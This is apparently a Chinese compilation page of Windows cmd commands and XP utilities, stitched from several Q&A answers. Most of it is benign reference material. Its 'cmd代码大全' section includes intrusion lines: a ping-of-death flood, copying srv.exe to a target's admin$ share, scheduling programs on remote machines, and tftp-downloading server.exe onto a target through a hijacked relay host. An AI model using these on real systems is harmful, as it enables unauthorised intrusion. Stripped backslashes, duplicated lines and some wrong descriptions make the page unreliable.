最简单的编程代码cmd(最基本的编程代码)
本文目录一览:
求一个简单的cmd命令编程(学过的肯定会)
@echo off
if "%1%" == "" goto help /*判断参数是否为空
if "%1%" == "1" net start /* start
if not "%1%" == "1" net stop /* stop
:help
echo Usage: test [option]
echo 1: net start service
echo other:net stop service
把上面的内容保存为bat文件,然后在/*start的前面添加你所需要的服务名即可。
cmd常用代码
1,列出所有任务及进程号,杀进程
tasklist
tasklist /? 获取使用帮助
taskkill
taskkill /? 获取使用帮助
2,cd 切换目录
cd /? //获取使用帮助
cd \ //跳转到硬盘的根目录
cd C:\WINDOWS //跳转到当前硬盘的其他文件
d: //跳转到其他硬盘
cd /d e:\software //跳转到其他硬盘的其他文件夹
注意此处必须加/d参数。否则无法跳转。
cd.. //跳转到上一层目录
3,netstat 查看网络连接状态
显示协议统计信息和当前 TCP/IP 网络连接。该命令可以查看当前机器建立的所有网络链接状态,以及对应哪个进程。
netstat -help 获取命令行使用帮助信息
netstat -ano //查看网络连接、状态以及对应的进程id
4,find
find /?获取使用帮助
netstat -ano|find ".8" //使用管道符,进行模糊查询
5,ping
ping -help
6,tracert
有关cmd的代码有那些?
XP系统的cmd命令如下:有关某个命令的详细信息,请键入 HELP 命令名
ASSOC 显示或修改文件扩展名关联。
AT 计划在计算机上运行的命令和程序。
ATTRIB 显示或更改文件属性。
BREAK 设置或清除扩展式 CTRL+C 检查。
CACLS 显示或修改文件的访问控制列表(ACLs)。
CALL 从另一个批处理程序调用这一个。
CD 显示当前目录的名称或将其更改。
CHCP 显示或设置活动代码页数。
CHDIR 显示当前目录的名称或将其更改。
CHKDSK 检查磁盘并显示状态报告。
CHKNTFS 显示或修改启动时间磁盘检查。
CLS 清除屏幕。
CMD 打开另一个 Windows 命令解释程序窗口。
COLOR 设置默认控制台前景和背景颜色。
COMP 比较两个或两套文件的内容。
COMPACT 显示或更改 NTFS 分区上文件的压缩。
CONVERT 将 FAT 卷转换成 NTFS。您不能转换
当前驱动器。
COPY 将至少一个文件复制到另一个位置。
DATE 显示或设置日期。
DEL 删除至少一个文件。
DIR 显示一个目录中的文件和子目录。
DISKCOMP 比较两个软盘的内容。
DISKCOPY 将一个软盘的内容复制到另一个软盘。
DOSKEY 编辑命令行、调用 Windows 命令并创建宏。
ECHO 显示消息,或将命令回显打开或关上。
ENDLOCAL 结束批文件中环境更改的本地化。
ERASE 删除至少一个文件。
EXIT 退出 CMD.EXE 程序(命令解释程序)。
FC 比较两个或两套文件,并显示
不同处。
FIND 在文件中搜索文字字符串。
FINDSTR 在文件中搜索字符串。
FOR 为一套文件中的每个文件运行一个指定的命令。
FORMAT 格式化磁盘,以便跟 Windows 使用。
FTYPE 显示或修改用于文件扩展名关联的文件类型。
GOTO 将 Windows 命令解释程序指向批处理程序
中某个标明的行。
GRAFTABL 启用 Windows 来以图像模式显示
扩展字符集。
HELP 提供 Windows 命令的帮助信息。
IF 执行批处理程序中的条件性处理。
LABEL 创建、更改或删除磁盘的卷标。
MD 创建目录。
MKDIR 创建目录。
MODE 配置系统设备。
MORE 一次显示一个结果屏幕。
MOVE 将文件从一个目录移到另一个目录。
PATH 显示或设置可执行文件的搜索路径。
PAUSE 暂停批文件的处理并显示消息。
POPD 还原 PUSHD 保存的当前目录的上一个值。
PRINT 打印文本文件。
PROMPT 更改 Windows 命令提示符。
PUSHD 保存当前目录,然后对其进行更改。
RD 删除目录。
RECOVER 从有问题的磁盘恢复可读信息。
REM 记录批文件或 CONFIG.SYS 中的注释。
REN 重命名文件。
RENAME 重命名文件。
REPLACE 替换文件。
RMDIR 删除目录。
regsvr32 quardz.dll处理流媒体文件
SET 显示、设置或删除 Windows 环境变量。
SETLOCAL 开始批文件中环境更改的本地化。
SHIFT 更换批文件中可替换参数的位置。
SORT 对输入进行分类。
START 启动另一个窗口来运行指定的程序或命令。
SUBST 将路径跟一个驱动器号关联。
TIME 显示或设置系统时间。
TITLE 设置 CMD.EXE 会话的窗口标题。
TREE 以图形模式显示驱动器或路径的目录结构。
TYPE 显示文本文件的内容。
VER 显示 Windows 版本。
VERIFY 告诉 Windows 是否验证文件是否已正确
写入磁盘。
VOL 显示磁盘卷标和序列号。
XCOPY 复制文件和目录树。
appwiz.cpl------------添加删除程序
accwiz.exe 辅助工具编导
actmovie.exe 直接显示安装工具
append.exe允许程式打开制定目录中的资料
arp.exe显示和更改电脑的IP与硬件物理位置的对应列表
at.exe计划进行任务
atmadm.exe调用管理器统计
attrib.exe显示和更改档和档夹属性
autochk.exe检测修复档系统
autoconv.exe在启动过和中格式化进程
autolfn.exe使用长档案名格式
cacls.exe显示和编辑acl
control userpasswords2--------用户帐户设置
cleanmgr-------垃圾整理
command.com------调用的则是系统内置的 NTVDM,一个 DOS虚拟机。它完全是一个类似 Virtual PC 的 虚拟环境,和系统本身联系不大。当我们在命令提示符下运行 DOS 程序时,实际上也 是自动转移到 NTVDM虚拟机下,和 CMD 本身没什么关系。
calc-----------启动计算器
cdplayer.exe CD播放器
certmgr.msc计划管理实用程式
change.exe与终端伺服器相关的查询
charmap.exe 字元对应表
charmap--------启动字元对应表
chglogon.exe 启动或停用会话记录
chgport.exe 改变埠(终端服务)
chgusr.exe 改变用户(终端服务)
chkdsk.exe 磁片检测程式
chkdsk.exe Chkdsk磁片检查
chkntfs.exe 磁片检测程式
ciadv.msc------索引服务程式
cidaemon.exe 组成ci文档服务
cipher.exe 在ntfs上显示或改变加密的档或目录
cisvc.exe 索引内容
ckcnv.exe 变换cookie
cleanmgr.exe 磁片清理
cleanmgr-------垃圾整理
cliconfg.exe sql客户网路工具
cliconfg-------SQL SERVER 用户端网路实用程式
Clipbrd 剪贴板查看器
clipbrd.exe 剪贴簿查看器
Clipbrd--------剪贴板查看器
clipsrv.exe 运行clipboard服务
clspack.exe 建立系统档列表清单
cluster.exe 显示域的集群
cmd.exe CMD命令提示符
cmd.exe--------CMD命令提示符
cmdl32.exe 自动下载连接管理
CMD运行指令
cmmgr32.exe 连接管理器
cmmon32.exe 连接管理器监视
cmstp.exe 连接管理器配置档安装程式
comclust.exe 集群
comp.exe 比较两个档和档集的内容*
compact.exe 显示或改变ntfs分区上档的压缩状态
compmgmt.msc 磁盘管理
compmgmt.msc---电脑管理 conf启动netmeeting
conime.exe ime控制台
control.exe 控制面板
convert.exe 转换档系统到ntfs
convlog.exe 转换iis日志档格式到ncsa格式cprofile.exe 转换显示模式
cscript.exe 较本宿主版本
csrss.exe 客户伺服器runtime进程
csvde.exe 日至格式转换程式
dbgtrace.exe 和terminal server相关
dcomcnfg.exe dcom配置属性
dcomcnfg-------打开系统元件服务
dcphelp.exe ?
dcpromo.exe ad安装向导
ddeshare.exe dde共用
ddeshare-------打开DDE共用设置
ddmprxy.exe
debug.exe 就是debug啦!
devmgmt.msc 设备管理器
dfrg.msc-------磁片碎片整理程式
dfrgfat.exe fat分区磁片碎片整理程式
dfs_cmd_.exe 配置一个dfs树
dfsinit.exe 分散式档系统初始化
dfssvc.exe 分散式档系统伺服器
diantz.exe 制作cab文件
diskmgmt.msc NT的磁片管理器
diskmgmt.msc---磁片管理实用程式
diskperf.exe 磁片性能计数器
dllhost.exe 所有com+应用软体的主进程
dllhst3g.exe
dmadmin.exe 磁片管理服务
dmremote.exe 磁片管理服务的一部分
dns.exe dns applications dns
doskey.exe 命令行创建宏
dosx.exe dos扩展
dplaysvr.exe 直接运行帮助
drwatson.exe 华生医生错误检测
drwtsn32 系统医生
drwtsn32------ 系统医生
drwtsn32.exe 华生医生显示和配置管理
dtcsetup.exe installs mdtc
dvdplay DVD播放器
dvdplay.exe dvd播放
dvdplay--------DVD播放器
dxdiag.exe direct-x诊断工具
dxdiag---------检查DirectX资讯
dxdiag检查DirectX资讯 系统查看工具
edlin.exe 命令行的文本编辑器(历史悠久啊!)
edlin.exe 命令行的文本编辑器(历史悠久啊!)
esentutl.exe ms资料库工具
eudcedit.exe type造字程式
eudcedit-------造字程式
eventvwr.exe 事件查看器
eventvwr.msc 时间查看器
eventvwr-------事件查看器
evnt_cmd_.exe event to trap translator; configuration tool
evntwin.exe event to trap translator setup
exe2bin.exe 转换exe档到二进位
expand.exe 解压缩
explorer-------打开资源管理器
extrac32.exe 解cab工具
fastopen.exe 快速访问在记忆体中的硬碟档faxcover.exe 传真封面编辑
faxqueue.exe 显示传真伫列
faxsend.exe 发送传真向导
faxsvc.exe 启动传真服务
fc.exe 比较两个档的不同
find.exe 查找文件中的文本行
findstr.exe 查找文件中的行
finger.exe 一个用户并显示出统计结果
fixmapi.exe 修复mapi档
flattemp.exe 允许或者禁用暂存档案目录
fontview.exe 显示字体档中的字体
fsmgmt.msc 共用档夹 fsmgmt.msc-----共用文件夹管理器
gpedit.msc-------组策略编辑器
gpupdate /target:computer /force 强制刷新组策略
iexpress 木马捆绑工具,系统自带
iexpress-------木马捆绑工具,系统自带
jview察看Java虚拟机版本。
logoff---------注销命令
lusrmgr.msc-----本地帐户管理
msinfo32---------系统信息
magnify--------放大镜实用程式
mem.exe显示记忆体使用情况
mem.exe--------显示记忆体使用情况
mmc 控制台
mobsync--------同步命令
mplayer2 简易widnows media player
mplayer2-------简易widnows media player
mplayer2-------媒体播放机
Msconfig.exe 系统配置实用程式
Msconfig.exe---系统配置实用程式
mspaint 画图板
mspaint--------画图板
mstsc----------远端桌面连接
narrator-------萤幕“讲述人”
net start messenger----开始信使服务
net stop messenger-----停止信使服务
netstat -an----(TC)命令检查介面
notepad--------打开记事本
Nslookup IP地址侦测器
nslookup 网路管理的工具
nslookup-------网路管理的工具向导
ntbackup-------系统备份和还原
ntmsmgr.msc----移动存储管理器
ntmsoprq.msc---移动存储管理员操作请求
net start (servicename)----启动该服务
net stop (servicename)-----停止该服务
notepad--------打开记事本
nusrmgr.cpl-------同control userpasswords,打开用户帐户控制面板
Nslookup-------IP地址侦测器
Odbcad32 ODBC资料源管理器
odbcad32-------ODBC资料源管理器
oobe/msoobe /a----检查XP是否启动
osk------------打开萤幕键盘
packager-------物件包装程式
perfmon.msc----电脑性能监测程式
progman--------程式管理器
progman--------程序管理器
regedt32-------注册表编辑器
regsvr32 /u *.dll----停止dll文件运行
route print------查看路由表
rononce -p ----15秒关机
rsop.msc-------组策略结果集
secpol.msc 本地安全设置
secpol.msc-----本地安全策略
services.msc 服务
services.msc 服务 可以连接另一台计算机
services.msc---本地服务设置
sfc /scannow---windows档保护
sfc /scannow-----扫描错误并复原 sfc.exe系统档检查器
sfc.exe--------系统档检查器
shrpubw--------创建共用档夹
sigverif-------档签名验证程式
sndrec32-------答录机
Sndvol32-------音量控制程式
syncapp--------创建一个公事包
sysedit--------系统组态编辑程式
syskey 系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
taskmgr-----任务管理器(2000/xp/2003)
tourstart------xp简介(安装完成后出现的漫游xp程式)
tsshutdn-------60秒倒计时关机命令
wiaacmgr-------扫描器和照相机向导
winchat--------XP自带局域网聊天
winmsd---------系统信息
winmsd---------系统资讯
winver检查Windows版本
winver---------检查Windows版本
wmimgmt.msc----打开windows管理体系结构(WMI)
write----------写字板
wscript--------windows脚本宿主设置
wupdmgr--------windows更新程式 (看完后,别忘记采纳我的回答为满意的答案)
cmd代码大全
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中," "和" " 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP(属telnet登陆后的命令)
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copy c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下
copy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy ipadmin$svv.exe c: 或:copyipadmin$*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
用参数/e才可连目录下的子目录一起复制到目标地址下。
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:server.exe 登陆后,将“IP”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
tftp -i 对方IP put c:server.exe 登陆后,上传本地c:server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件(目录)的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序,并显示出:请按任意键继续....
if 在批处理程序中执行条件处理(更多说明见if命令及变量)
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
call 路径批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为:EntSky )
ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目录名 创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令=字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
regedit /e 注册表文件名 导出注册表
cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况
如何制作一个自动运行CMD命令的程序
1、制作一个简单的bat脚本,脚本内容下图有。
2、win+r打开运行,输入cmd,点确认。
3、弹出命令提示符程序窗口。
4、在命令提示符程序窗口中输入start指令。
5、接着设定脚本存储的路径和脚本名称。
6、点击回车后,脚本自动打开,并执行脚本中的指令。
7、核对一下,脚本中的指令和命令提示符中运行的指令是否一致。